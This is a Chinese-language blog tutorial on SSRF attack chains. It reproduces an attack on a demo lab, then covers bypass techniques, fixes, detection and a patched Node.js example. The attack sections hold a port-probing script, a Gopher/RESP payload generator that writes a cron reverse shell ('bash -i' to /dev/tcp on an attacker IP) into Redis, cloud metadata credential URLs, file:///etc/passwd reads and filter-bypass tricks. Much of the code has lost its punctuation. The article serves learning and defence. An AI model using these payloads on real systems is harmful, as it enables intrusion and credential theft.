SSRF攻击链全解析:从原理到防御实战
发布时间:2026/10/20 6:57:23 锦皓数字建站

1. 从一次真实告警说起什么是SSRF攻击链大概半年前我在巡检一套自研的网关服务时发现某台业务服务器偶尔会向外网发起一些极其诡异的请求。目标地址不是我们配置的任何回调域名端口也完全不固定更奇怪的是这些请求的响应时间短得离谱明显不是正常业务该有的网络延迟。当时第一反应是服务被挂马了但查遍了进程、启动项、定时任务统统干干净净。后来顺着网络连接追到源头才发现问题出在一个毫不起眼的功能点上某个管理后台的“站点健康检测”模块。这个模块的本意是让运维人员输入一个URL然后由服务端主动去请求一下看看目标站点是否存活。说白了就是一个服务器端发起的HTTP请求工具。问题恰好就出在这里——它允许用户完全控制URL而服务端在发起这个请求时用的还是内网IP出口。这就是标准的SSRFServer-Side Request Forgery服务器端请求伪造。那一次排查让我花了一整个通宵但也让我彻底意识到一个问题SSRF本身可能只是一个点但真正可怕的是它作为“跳板”被接进一条完整的攻击链里。单看一个SSRF漏洞可能只是“能访问内网某个端口”但配合内网其他服务的薄弱点攻击者完全可以从一个低危的“URL请求”一路打到内网核心资产。这也是为什么现在各大厂商的漏洞评级里SSRF的威胁等级往往被定得极高——它太适合做入口了。这篇文章不打算只讲概念。我会带你从攻击者的视角完整拆解一条SSRF攻击链是怎么从“一个输入框”演变成“内网沦陷”的。同时也会附上我在实际排查和复现过程中踩过的坑、总结的绕过手法以及最终落地的防御方案。内容覆盖原理、复现、绕过、修复和检测五个部分适合正在学习Web安全的同学也适合需要在企业里做渗透测试或安全防御的工程师直接参考。提示文中所有涉及的目标站点、IP地址、域名均为演示环境虚构数据仅用于技术原理讲解和防御验证请勿在未授权环境下测试。2. 一个被低估的入口SSRF漏洞原理与形成场景2.1 为什么服务器会成为攻击者的“跳板”SSRF漏洞的核心成因并不复杂服务端在获取到用户提供的URL之后没有做严格的协议、域名、IP校验就直接由服务器自身发起了请求。这里的关键词是“服务器自身”。要理解这个漏洞为什么杀伤力大你得先明白一个网络拓扑常识通常外网和内部网络之间是隔离的。外部攻击者直接访问内网IP比如192.168.x.x、10.x.x.x、172.16.x.x时请求会被防火墙或路由策略直接丢弃你根本连不进去。但服务器不一样服务器同时拥有内网IP和外网IP或者在云环境下至少有访问内网网段的权限。当服务器发起对内网IP的请求时从防火墙的视角看这属于“内部合法访问”会被直接放行。所以一旦你找到了一个可控URL的服务器端请求点就相当于拿到了一个“内网代理”。攻击者不需要直接接触内网而是借助服务器的“手”去访问内网里的任意主机和服务。这就是SSRF最核心的威胁模型让不可信的用户间接控制服务器的网络请求行为。很多人觉得SSRF不就是“能打内网”吗实际上它的危害范围远不止此。取决于目标服务的部署情况它可以做到探测内网存活主机和开放端口绘制内网资产地图访问内部管理接口比如 Redis、Elasticsearch、Docker API 等未授权服务借助file://、gopher://等非常规协议读取服务器本地文件或与其他TCP服务交互在云环境中利用元数据服务通常是169.254.169.254获取临时访问凭证从而接管整个云账号。这也是为什么在漏洞定级时SSRF的上限可以到“严重”。因为它不只是一个漏洞而是一整套攻击路径的起点。2.2 哪些功能最容易踩坑典型高危功能点根据我这些年的代码审计和渗透测试经验SSRF最容易出现在下面几类功能中如果你在代码评审时见到这些模块就要立刻提高警觉。第一类URL回调类功能。比如支付回调模拟、Webhook 测试、第三方登录回调、OAuth 跳转等。这类功能天然要求用户传入一个完整的URL后端再去请求它。比如“测试回调地址是否可用”这个功能就是经典的SSRF点。第二类文件处理类功能。比如通过URL导入图片、远程加载附件、下载远程资源保存到本地。一些图片裁剪服务、文档转换服务、Markdown编辑器里的“远程图片”功能都会让用户输入一个URL然后服务端去抓取。尤其要注意的是很多实现会用file_get_contents()或者HttpClient直接拉取内容这些函数默认支持file://协议。这意味着攻击者不只能访问内网HTTP服务甚至可以读取服务器上的本地文件比如file:///etc/passwd。第三类内容代理与预加载功能。比如一些爬虫服务、网页截图服务、文章分享链接的预览功能。你发一个链接服务端帮你访问并生成标题摘要或缩略图。这种功能几乎就是SSRF重灾区因为它本质上就是让服务端去访问任意URL。第四类API网关或转发器。一些微服务网关会在请求头里带目标URL参数或者在路由转发时直接将后端地址交给用户配置。这类场景一旦对目标地址校验不严攻击者就能让网关替自己访问内网的任何服务。2.3 理解攻击链从“漏洞点”到“突破面”单独看一个SSRF点它就像一把能打开内网大门的钥匙。但有了钥匙不代表你能直接进保险库——你还得知道保险库在哪里、里面有哪些值钱的东西。这就引出了“攻击链”的概念。所谓攻击链就是把多个看似独立的漏洞或弱点按顺序串起来形成一个完整的入侵路径。SSRF攻击链通常长这样找到服务端存在SSRF的功能点入口利用SSRF探测内网绘制网段、主机、端口、服务指纹情报收集针对探测到的内网服务寻找弱口令、未授权访问、已知CVE漏洞横向移动借助某个内网应用的漏洞成功执行命令或拿到WebShell占领据点以内网机器为新跳板继续横向渗透最终拿下域控或核心数据库达成目标。也就是说SSRF通常扮演的是“第一公里”的角色——它帮助攻击者跨越网络边界。真正决定攻击链能走多远的是内网自身的防御水位。所以你会发现有些公司SSRF漏洞修得很快因为工程师意识到它是内网防线的突破口但也有公司不以为然觉得“不就是能访问内网吗反正内网也没什么敏感数据”这种想法往往会在后续的事故中付出惨痛代价。在我的经验里评估一个SSRF漏洞的严重性从来不能只看它本身而要结合“它后面可以接什么”来判断。单纯能把请求发出去是低危但如果你探测到内网一台Redis未授权再用Gopher协议打进去那整条链的威胁等级就是灾难级的。3. 完整复现一条SSRF攻击链从URL导入到内网横向3.1 搭建一个逼真的本地靶场为了让你更直观地理解整条攻击链的推进过程我搭建了一个模拟环境。这里的靶场结构完全参考真实企业内网的常见形态边缘网关服务器外网可访问部署了一个存在SSRF漏洞的“远程图片下载”功能模拟外网入口。内网应用服务器A运行着旧版本的Redis服务默认端口6379无密码且绑定了内网IP。内网应用服务器B运行着一个简单的管理后台使用弱口令admin/admin。内网网段172.16.10.0/24模拟核心业务网络。云元数据服务模拟地址169.254.169.254用于演示云环境凭证窃取。靶场构建逻辑很简单边缘网关只有一个外网IP地址假设为203.0.113.10内网网段完全无法从公网直接访问。攻击者能接触到的唯一入口就是这个网关上的“远程图片下载”功能。这个功能的交互逻辑是这样的用户在页面上传一个图片URL后端使用Python的requests库直接请求该URL获取图片内容后保存到本地并返回预览。代码大致如下app.route(/download_image, methods[POST]) def download_image(): url request.form.get(url) # 直接请求用户传入的URL resp requests.get(url, timeout5) # 将响应内容保存为图片文件 fname f/tmp/img_{int(time.time())}.png with open(fname, wb) as f: f.write(resp.content) return fDownloaded to {fname}这段代码没有任何校验用户传什么URL后端就请求什么URL。而且注意一个细节这里用的是requests库默认跟随重定向。这意味着即使你传的URL是合法的如果它重定向到内网地址后端的请求依然会跟着过去。这个特性后面会用到。3.2 第一步打破边界用BiuBiu扫描器绘制内网资产图拿到这个入口后第一件事不是急着打Redis而是先搞清楚内网到底有什么。我见过一些新手在复现SSRF时上来就猜172.16.10.1、6379端口结果啥也没探测到就放弃了。正确的思路应该是有条不紊地扫描。由于这个靶场的入口在Web端我先构造一个端口探测请求。让后端去访问http://172.16.10.1:22如果目标是开放的响应时间会明显偏长因为SSH服务会等待客户端交互而如果端口关闭后端会立刻返回连接拒绝的错误。通过这个时间差可以判断端口是否存活。不过一个个手动探测太慢了我写了一个简单的探测脚本核心思路是利用目标功能的响应时间做端口存活判断import requests import time probe_port [22, 80, 443, 3306, 6379, 8080, 9200] base_url http://203.0.113.10/download_image for port in probe_port: target fhttp://172.16.10.1:{port} start time.time() try: requests.post(base_url, data{url: target}, timeout8) elapsed time.time() - start print(f[*] {target} - 响应时间 {elapsed:.2f}s) except Exception as e: print(f[x] {target} - {e})当然在实际场景中扫描结果不会直接写在返回页面上。你需要结合后端的响应内容、报错信息、甚至响应字节数来判断端口状态。比如端口开放时后端返回的HTTP状态码可能是200保存成功而端口关闭时后端返回500连接失败。把这些反馈差异作为判断依据就能在盲打状态下绘制出内网存活主机的资产列表。在我的靶场环境里扫描结果很快锁定了几台存活主机其中172.16.10.5:6379引起了我的注意——这个端口是Redis的默认端口。在真实的内网环境中Redis未授权访问是极其常见的问题。很多运维为了方便本机排查把Redis绑到了内网IP且没有设置密码这等于把一把上了膛的枪放在了内网里。3.3 第二步利用Gopher协议攻击内网RedisRedis未授权之后怎么利用正向连接拿Shell是常规操作但在SSRF场景下你面临一个限制你只能通过HTTP请求间接访问Redis的6379端口没法直接开一个TCP连接。这时候就要用到Gopher协议了。Gopher是一个古老的互联网协议它的特点是可以发送原始TCP数据报文。利用这个特性攻击者可以构造一段符合Redis协议格式的Payload通过SSRF让服务器以Gopher协议向Redis发送任意命令。换句话说Gopher协议让SSRF从“只能访问HTTP服务”升级为“可以操控任意TCP服务”。这里我详细说一下Redis协议。Redis客户端与服务端的通信遵循RESPREdis Serialization Protocol协议简单理解就是每一条命令被拆分成多行第一行是参数个数后续每行是参数内容每个参数前面都要带上其字节长度。例如SET foo bar对应的RESP格式是*3 $3 SET $3 foo $3 bar在Gopher协议里你需要把这个格式的报文URL编码后拼接到请求中。完整的Gopher攻击URL长这样gopher://172.16.10.5:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$1%0d%0afoo%0d%0a$3%0d%0abar%0d%0a但只是发一个SET命令没有任何意义。SSRF攻击Redis的高价值目标是把反弹Shell写入计划任务crontab让内网服务器定时执行攻击者的命令。在Linux环境下Redis写入计划任务的常见命令序列是flushall set x \n* * * * * bash -i /dev/tcp/203.0.113.11/8888 01\n config set dir /var/spool/cron/ config set dbfilename root save这段命令的意思是把一个反弹Shell命令写入Redis的数据库然后把数据库保存到cron目录下并命名为root这样系统在下次执行计划任务时就会反弹一个Shell给攻击者。由于Gopher协议的回包格式比较特殊直接把原始命令拼进去容易因为换行符处理不当导致失败。我的经验是先把命令按RESP格式写成文本文件然后统一URL编码。网上有一些现成的编码脚本但我更推荐自己写一个这样可以灵活调整Payload内容import urllib.parse def redis_cmd_to_gopher(cmd_parts): payload f*{len(cmd_parts)}\r\n for part in cmd_parts: payload f${len(part)}\r\n{part}\r\n return urllib.parse.quote(payload) cmd [ flushall, set, x, \\n* * * * * bash -i /dev/tcp/203.0.113.11/8888 01\\n, config, set, dir, /var/spool/cron/, config, set, dbfilename, root, save ] gopher_url gopher://172.16.10.5:6379/_ redis_cmd_to_gopher(cmd) print(gopher_url)然后将生成的Gopher URL作为目标地址提交给后端的“下载图片”功能。如果一切顺利Redis会收到这批指令并写入计划任务攻击者的VPS上就能接收到来自内网服务器的反弹Shell。这里有一个我在实际测试中反复踩过的坑计划任务写入之后往往不会立刻生效cron服务通常每分钟检查一次目录。所以当你配置好反弹Shell后不要急着关闭监听耐心等一分钟甚至更久。我见过有人等待时间不够就判定失败结果去服务器上看日志才发现计划任务实际上写入成功了。另外不同发行版的cron路径不一样。CentOS系统通常写/var/spool/cron/但Debian/Ubuntu系统则要求写到/var/spool/cron/crontabs/。如果路径不对Redis虽然能写文件但cron服务不会读取反弹Shell自然也不会触发。3.4 第三步横向移动拿下内网控制权通过上面的Gopher攻击拿到反弹Shell之后我们实际上已经控制了172.16.10.5这台内网服务器。但攻击链到这里并没有结束因为这只是内网里的第一台机器。反弹Shell到手后我做的第一件事是确认当前机器的权限等级和网络位置id hostname cat /etc/redhat-release ip addr这台机器是以普通用户还是root权限运行决定了后续操作的自主度。在靶场环境中我用的是直接通过Redis写入cron的方式执行反弹Shell的进程最终会以root权限运行所以拿到的Shell是root权限。这也侧面说明了Redis未授权SSRF打到内网的破坏力有多大一个Web漏洞直接让你拿到内网服务器root权限。接下来的横向移动思路就清晰了以内网服务器为跳板继续扫描内网其他网段。我在Shell上安装了简单的内网穿透工具将内网流量转发到VPS上然后对内网的其他主机进行端口扫描。很快我发现了内网的172.16.10.8主机它开放了8080端口运行着一个管理后台。后台的登录页面用了弱口令 admin/admin——这个是我们在搭建靶场时故意设置的。用这个弱口令成功登录后发现后台存在一个命令执行功能点可以直接执行系统命令。利用这个功能我在服务器上创建了一个新的管理员账号并把这台机器也纳入控制范围。至此攻击链从外网的一个“图片下载框”已经一路打通到内网核心业务服务器。整个过程下来技术上的“高光时刻”其实是Gopher协议打Redis那一步但真正让这条链变得致命的是内网服务的薄弱配置。如果内网Redis设了强密码如果管理后台不暴露在8080端口甚至如果内网做了严格的东西向流量隔离这条链都会被卡住。可惜的是这些基础的安全配置在大量企业内网里依然是稀缺品。3.5 云环境特殊场景元数据服务与凭证窃取上面这条攻击链是在传统虚拟机环境下走的但如果你面对的是一套云原生架构SSRF攻击链往往会多一个分支——云元数据服务的利用。这个分支高度致命因为它直接威胁到云账号体系本身。几乎所有主流公有云平台都在内网提供了一个元数据服务地址通常固定为169.254.169.254。这个地址是云平台分配给每台虚拟机的“内部DNS”虚拟机可以通过访问它查询自身的实例信息、用户数据、甚至临时访问凭证。问题在于这个地址本身没有做身份认证任何能访问到它的进程都能查询到这些信息。当SSRF漏洞出现在云服务器上时攻击者只需要让受害服务器请求http://169.254.169.254/latest/meta-data/就能读取这台云服务器的元数据。更严重的操作是访问http://169.254.169.254/latest/meta-data/iam/security-credentials/目录这里通常存放着角色绑定的临时访问凭证。拿到这个凭证后攻击者就可以以这台云服务器的身份直接调用云平台的API创建新实例、读取对象存储、篡改安全组配置、甚至删除整个业务集群。在真实攻防演练中这是云上SSRF最经典的利用路径Web应用存在SSRF - 访问元数据服务 - 窃取IAM临时凭证 - 控制整个云账号。所以在评估云上SSRF漏洞的严重性时我通常直接按“数据库泄露”级别来处理因为它已经不是一台服务器的问题了。4. 层层设卡那些年我见过的SSRF绕过手法4.1 基础绕过你以为校验了其实没有当你把SSRF漏洞提交给研发修复后经常会遇到一种情况研发加了一个校验但还是被轻易绕过了。这倒不是因为研发不认真而是因为SSRF的绕过姿势实在太多了。最常见的第一道防线是“关键字过滤”比如检查URL里是否包含127.0.0.1、192.168等内网地址。这种校验属于典型的“黑名单思维”绕过方法非常直接使用十进制、八进制、十六进制表示的IP127.0.0.1等价于2130706433也等价于0x7f000001。很多语言的内置函数会自动将这些格式解析为对应的IP地址。使用短域名解析到内网比如localtest.me这个域名会解析到127.0.0.1你只需要注册一个解析到内网地址的域名黑名单完全不生效。使用URL解析差异有些语言在处理URL时会把http://example.com127.0.0.1解析为访问127.0.0.1因为后面的部分被视为真实主机。如果校验逻辑只检查了example.com部分就会误判为合法地址。利用重定向很多服务端在请求URL时会自动跟随重定向。你可以先传一个合法外网地址这个地址302跳转到内网地址后端的请求就会跟着跳进内网。这也是为什么我前面提到的Pythonrequests默认跟随重定向的特性能被利用。如果研发升级了校验逻辑改成了“解析URL获取Host再解析Host的IP最后判断IP是否合法”这种方式是否就万事大吉了不完全。这里还有一个绕过思路叫DNS RebindingDNS重绑定。攻击者注册一个域名首次解析返回一个公网IP通过校验随后在短时间内将DNS解析切换到内网IP。因为代码里校验和请求是两步操作中间存在时间差第二次解析时命中的就是内网IP了。这种攻击方式对校验严格的系统依然有效是实战中非常进阶的一种手法。4.2 协议层面的绕过不止HTTP能出网除了IP地址绕过另一个大类是协议绕过。很多研发在做URL校验时习惯于只检查http://和https://两个前缀但服务端的请求库往往支持更多协议。比如file:///etc/passwd—— 直接读取服务器本地文件gopher://—— 向任意TCP端口发送原始数据报文前面Redis攻击已经演示过dict://—— 一种词典协议可以向任意端口发送简单的ACROSS命令常用于识别服务类型ftp://—— 部分库支持FTP协议可以用于探测内网FTP服务的开放情况。在代码审计时我见到过只判断URL开头是否为http://就放行的实现比如if url.startswith(http://)。这种判断等于没判断因为攻击者传一个file:///etc/passwd依然会被放行。正确的协议限制是维护一个白名单明确只允许业务必需的协议出现在用户可控URL中。业务只需要HTTP图片下载就只允许http://和https://其他协议一律拒绝。同时还要对重定向后的目标地址再做一轮校验防止通过重定向逃逸。4.3 云场景的特殊绕过别再盯着回显了最后再提一个云环境的坑。很多人在测试SSRF时会习惯性地看响应内容——图片下载成功了会返回什么端口开放了会返回什么。但在云环境下服务器访问元数据服务时往往会返回一些特殊格式的内容这些内容可能不会被当作正常图片处理导致功能报错。如果测试者只看“是否报错”来决定漏洞是否存在很容易漏掉云凭证的利用。我的经验是针对元数据服务的探测不要只看回显而是要看请求的响应包时间、响应头、响应体大小。元数据服务通常响应时间极短且响应体包含的就是临时凭证的JSON格式内容。如果目标服务器后面接了一个对象存储服务你甚至可以尝试直接通过SSRF访问对象存储的内网Endpoint把存储桶里的敏感文件下载出来。这种场景下SSRF不需要任何额外漏洞配合单点就足以造成严重的数据泄露。5. 别做马后炮系统性防护方案从根上掐断攻击链5.1 代码层修复不要只堵IP要堵住“任意请求”回到文章开头那个“站点健康检测”功能。当安全问题反馈到研发那里时最常见的修复方式就是“加一个IP黑名单”把内网地址段过滤掉。这种方式治标不治本绕过手法我在前面已经列了一部分真实对抗中的绕过姿势远比你想的要多。真正有效的代码层修复要从两个维度去做维度一协议白名单。确认业务到底需要哪些协议。如果只需要HTTP和HTTPS就直接写死协议类型其他协议一律拒绝。不要用字符串匹配去判断比如startswith而是用成熟URL解析库去解析协议类型。维度二目标IP白名单 内网IP黑名单双重校验。在发起请求之前先解析目标URL的域名得到IP地址然后检查这个IP是否属于内网地址段。这里有一个关键细节校验时用的IP必须与实际请求时用的IP一致。否则就会存在DNS重绑定绕过的时间差问题。为了彻底解决DNS重绑定的问题更稳妥的做法是让代码在解析出IP后直接用这个IP和指定的Host头去发起请求而不是把原始URL直接交给底层请求库。这样即使上游DNS发生了变化实际连接的目标仍然是校验时通过的IP。import socket import requests from urllib.parse import urlparse def safe_request(user_url): # 仅允许 http/https 协议 parsed urlparse(user_url) if parsed.scheme not in (http, https): raise ValueError(Protocol not allowed) # 解析域名得到IP hostname parsed.hostname ip socket.gethostbyname(hostname) if is_internal_ip(ip): raise ValueError(Internal IP not allowed) # 使用IP发起请求手动指定Host头 headers {Host: hostname} return requests.get(f{parsed.scheme}://{ip}{parsed.path}, headersheaders, allow_redirectsFalse)is_internal_ip函数需要覆盖IPv4和IPv6的内网地址段包括常见私网段、环回地址、链路本地地址以及云厂商的元数据地址段。元数据地址尤其重要漏掉169.254.169.254的云上SSRF防护等于没做。5.2 网络层防线不要在源头上裸奔代码修复是底线但网络层防护是纵深防御不可或缺的一环。对于业务系统架构我强烈建议做以下三件事第一限制服务器的外网出站方向访问。大多数业务服务器根本不需要主动访问外网的任意地址。你可以在防火墙或安全组上配置出站白名单只允许特定域名比如业务依赖的API和特定端口比如53端口DNS解析出站其余一律禁止。这样一来即使代码层面被绕过攻击者也无法真正把数据传出去或者建立外联通道。第二严格内网东西向流量控制。即使SSRF存在攻击者能够探测的内网范围也取决于这台服务器能访问哪些内网网段。通过微分段策略将不同业务组的服务器隔离在不同子网只开放业务必需的端口互通可以显著缩小SSRF的攻击面。一个只有Redis端口白名单可通的网段和一张“随便访问”的内网大网攻击链能走的长度天差地别。第三对元数据服务地址做强制ACL。在云环境里可以通过安全组规则显式拒绝任何非云初始化组件的入站请求访问169.254.169.254。很多云厂商的官方安全基线上也有这一条但落地率并不高。如果你在云上托管业务建议立刻检查安全组规则把元数据服务的访问限制到最小范围。5.3 运行时检测攻击链总要留下痕迹假设代码修了、网络也隔离了但攻击者的绕过手法总在进化完全寄希望于“防住”是不现实的。所以还需要一套运行时检测机制用来发现那些已经发生的攻击尝试。检测的关键在于抓住SSRF攻击链中的特征行为异常的目标地址服务器对外发起请求的目标IP是内网地址段或者是一个极其罕见的公网IP比如扫描器常用的特定IP段建议对服务器出站请求做日志审计并设置告警。异常协议和端口突然出现对非标准端口的出站请求比如服务器访问某个IP的6379、9200、11211端口这些都是中间件常用端口正常业务基本不会主动访问。异常的User-Agent或请求特征如果服务器是一台网关它发往内网的请求通常带有固定UA如果UA突然变成了REST客户端、Go-http-client、Python-urllib等类型很可能有异常。日志记录方面我强调一点务必记录完整的请求URL、解析后的目标IP、请求协议和响应状态。很多公司的服务器日志只记录域名不记录IP这导致攻击发生后根本没法回溯。一个连元数据服务都被访问过的环境如果日志里查不到目标IP你的应急响应基本等于盲人摸象。5.4 加固内网服务让攻击链断层最后一块拼图是内网服务自身的安全加固。前文已经说过SSRF只是打开了门门后面的价值取决于内网有什么。如果内网服务做到了以下几点SSRF攻击链就会在早期阶段断层Redis、Elasticsearch、MongoDB等中间件必须设置强密码认证禁止绑到0.0.0.0或内网所有网卡上对外提供接口的管理后台一律使用复杂口令开启多因素认证并限制管理网段来源IP内网所有服务器必须统一纳入补丁管理避免使用已知存在RCE漏洞的旧版本组件对计划任务目录、Web目录等敏感路径做文件完整性监控一旦出现非预期文件立刻告警。我记得有一次做攻防对抗复盘的时候对方攻击队就是靠着SSRFRedis打穿了我们整个内网。事后分析发现Redis那边只要设一个密码攻击链的第二步就会被卡死后续的横向移动根本无从谈起。但当时总觉得“内网是安全的”“外网打不进来”结果一个SSRF入口就让这个假设彻底崩塌。6. 常见问题排查与踩坑实录速查表这一节我想用第一视角记录一些实际测试和修复SSRF时反复遇到的问题。你不一定在一天内全遇到但把这些经验记住碰到时能少走两三个小时弯路。问题一Gopher协议打Redis反弹Shell一直不触发。原因通常是cron目录不对。CentOS写到/var/spool/cron/Debian系写到/var/spool/cron/crontabs/。如果你不确定当前系统类型可以先通过SSRF获取操作系统的版本信息再决定Payload要写到哪个目录。另外注意cron的定时任务有语法要求。写入的反弹命令前必须带换行符而且任务格式要严格匹配分时日月周的排列。如果格式不对cron会静默忽略这个任务不会报错排查起来很隐蔽。问题二内网端口探测结果不准确。如果你只依赖响应时间来做端口存活的判断很容易被网络抖动干扰。我的建议是同时观察响应内容的字节数。比如用SSRF访问一个HTTP服务端口时返回内容长度通常是几百字节以上访问一个关闭的端口时返回内容可能是空或只有报错信息。两个维度同时判断准确率会高很多。问题三带内网IP的校验就是无法绕过。说明对方不是简单地放过DNS解析后的结果而是做了二次校验解析后校验请求时校验。这种场景下可以考虑DNS重绑定攻击。具体做法是搭建一个DNS服务你提供一个域名在短时间内交替返回外网IP和内网IP。第一次解析时校验通过请求时解析到的却是内网IP。实现起来有一定门槛但这是规避严格校验最有效的手段。问题四云环境SSRF明明访问元数据成功却拿不到凭证。这通常是因为目标云主机没有绑定角色或者角色没有配置API权限。这种情况下元数据服务只返回不了凭证数据。你仍然可以尝试读取该机器所在VPC的ID、实例ID、云标签等信息这些对后续的攻击路径规划有参考价值。问题五修复后业务报错正常功能被误杀。频发在采用IP白名单方案的场景。比如业务方依赖的某个域名做了CDN加速CDN节点的IP会动态变化。如果你在代码里写死了目标IPCDN切换节点后业务就断了。建议采用“域名白名单解析后校验IP”的方式域名写死为业务固定的入口域名允许其IP变化但限制在可信范围内。同时要做好域名归属审核防止攻击者注册一个相近域名来蒙混过关。问题六日志侧看不到攻击者到底访问了哪些内网地址。大概率是你只记录了业务层面的请求日志没有记录网络层访问日志。建议在边界网关或服务器侧对出站HTTP请求做全量访问日志记录至少包括时间戳、源IP、目标URL、解析IP、协议类型、响应码。这些日志要留存至少六个月因为攻击链往往是先探测很久之后才会发起真正的利用。7. 一次完整的修复流程示范给某管理后台打SSRF补丁说了这么多理论和方法最终还是要落实到代码和配置上。我以一个典型的管理后台“URL存活检测”功能为例演示一次完整的SSRF修复流程。7.1 原始漏洞代码分析这个功能接收用户输入的URL后端用Node.js的axios发起请求来判断目标站点是否存活代码如下const axios require(axios); app.post(/check_url, async (req, res) { const targetUrl req.body.url; try { const response await axios.get(targetUrl, { timeout: 3000 }); res.json({ alive: true, status: response.status }); } catch (err) { res.json({ alive: false, error: err.message }); } });这段代码几乎没有校验攻击者可以直接传入http://169.254.169.254/latest/meta-data/来读取云元数据或者传入http://127.0.0.1:6379/探测本机端口。现在开始修复。7.2 修复步骤与最终代码修复分三步走。第一步协议白名单。只允许http:和https:协议其他协议一律拒绝。接着增加必要的内网IP段校验和云元数据地址黑名单。对DNS解析后的IP判断是否属于保留地址段。第二步阻止重定向逃逸。axios默认跟随重定向。修复时要设定maxRedirects: 0关闭自动跟随。如果业务确实需要跟随重定向则需要在每次跳转后重新校验新地址是否安全。第三步业务层限制。“存活检测”这种功能本身就允许访问任意站点所以网络层必须对该功能所在服务器的出站流量做限制仅允许访问目标站点所在CIDR的对应端口。代码层面尽量请求一个固定的服务IP而不是暴露一个可输入的URL接口。修复后的关键逻辑如下const dns require(dns).promises; const ipaddr require(ipaddr.js); async function isSafeUrl(rawUrl) { const parsed new URL(rawUrl); if (![http:, https:].includes(parsed.protocol)) { return false; } const hostname parsed.hostname; const records await dns.lookup(hostname, { all: true }); for (const record of records) { const addr ipaddr.parse(record.address); // 判断是否为内网/保留地址 if (ipaddr.isPrivate(addr) || addr.range() loopback || addr.range() linkLocal) { return false; } // 云元数据地址段 if (addr.toNormalizedString() 169.254.169.254) { return false; } } return true; } app.post(/check_url, async (req, res) { const targetUrl req.body.url; if (!(await isSafeUrl(targetUrl))) { return res.json({ alive: false, error: URL is not allowed }); } try { const response await axios.get(targetUrl, { timeout: 3000, maxRedirects: 0, }); res.json({ alive: true, status: response.status }); } catch (err) { res.json({ alive: false, error: err.message }); } });这里特别强调一点ipaddr.isPrivate并不完全等于“内网地址”不同语言的内网判断函数覆盖范围有差异。建议除了使用现成库之外再显式添加一份私网地址段清单包括10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16以及IPv6的::1、fc00::/7等。每个网段都要覆盖到漏一个就是一条绕过路。7.3 修复后的验证思路修复上线前至少要做以下验证功能正常传入一个合法的公网HTTP地址能正常返回存活状态内网拦截传入内网IP地址、元数据服务地址、用十六进制表示的IP应全部被拒绝协议拦截传入file:///etc/passwd、gopher://、dict://应被拒绝重定向拦截让一个合法域名302跳到内网地址应被拒绝业务回归与业务方确认正常使用场景下不会有人用到这些被拦截的特性。在交付修复结果时还要写清楚修复的范围和影响这样后续运营团队才知道这个权限收紧会让哪些存量功能受影响。这是很多安全工作做了但没做到位的地方——修是修了但没跟业务对齐边界结果上线后误报一大堆。8. 攻击视角复盘如果你是防御者下一步应该做什么写到这里我已经把一条SSRF攻击链从入口到利用再到防御的完整过程拆解了一遍。最后想从复盘视角聊一聊如果你是企业安全负责人看到这篇内容之后下一步最应该做的是哪几件事。第一盘点你域名解析后的外网入口里有哪些功能模块允许用户输入URL。把这个清单拉出来逐个确认是不是存在“服务端发起请求”的行为。这一步是最基础但最容易被忽视的很多公司之所以被SSRF打穿不是因为工具不够好而是因为压根不知道自己的应用里有多少个“隐藏的URL输入框”。第二将云元数据服务地址纳入所有安全防护体系的核心检测项。无论是WAF规则、代码审计规范、渗透测试用例还是HIDS的告警规则都要包含对169.254.169.254的访问检测。这一个点做好了可以挡下绝大多数云上SSRF带来的高风险利用。第三安全建设不要只看边界更要看内网横向移动的阻力。我在前面的攻击链演示中反复强调内网Redis未授权、管理后台弱口令、数据库端口对外开放这些才是让SSRF攻击链走通的真正加速器。单纯修掉一个SSRF漏洞内网千疮百孔的配置问题不解决下一次换一个入口漏洞你依然会被打穿。第四把攻击链的思路制度化。以后有任何安全漏洞报告进来不要只看它本身而是追问一句“如果这个漏洞被利用了它能接上内网的什么资源攻击者后面还可以做什么”养成这个思维习惯比学会任何一个具体漏洞的利用手法都重要。真正的安全能力不是知道某个漏洞怎么打而是能判断它在一个复杂系统中到底值多少分、能走多远。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。